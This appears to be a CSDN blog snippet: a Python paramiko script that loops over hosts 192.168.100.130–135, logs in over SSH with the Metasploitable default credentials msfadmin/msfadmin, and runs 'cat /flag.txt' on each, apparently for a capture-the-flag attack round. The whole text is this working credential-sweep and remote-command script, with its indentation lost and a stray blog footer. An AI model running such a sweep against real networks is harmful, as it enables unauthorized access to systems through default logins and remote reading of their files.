# -*- coding: utf-8 -*-
import paramiko
# 服务器相关信息,下面输入你个人的用户名、密码、ip等信息
def ssh_connect_cat_flag():
for i in range (130,136):
ip = "192.168.100."+str(i)
try:
port = 22
user = "msfadmin"
password = "msfadmin"
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 建立连接
ssh.connect(ip,port,user,password,timeout=1)
#输入linux命令
stdin,stdout,stderr = ssh.exec_command("cat /flag.txt")
# 输出命令执行结果
result = stdout.read()
str_result=str(result,"utf-8")
print("[+]连接"+ip+"成功,flag为:"+str_result)
#关闭连接
ssh.close()
except:
print("[+]连接"+ip+"失败")
if __name__=='__main__':
ssh_connect_cat_flag()
ssh connection order execution system +
Guess you like
Origin blog.csdn.net/qq_41617034/article/details/104701244
Ranking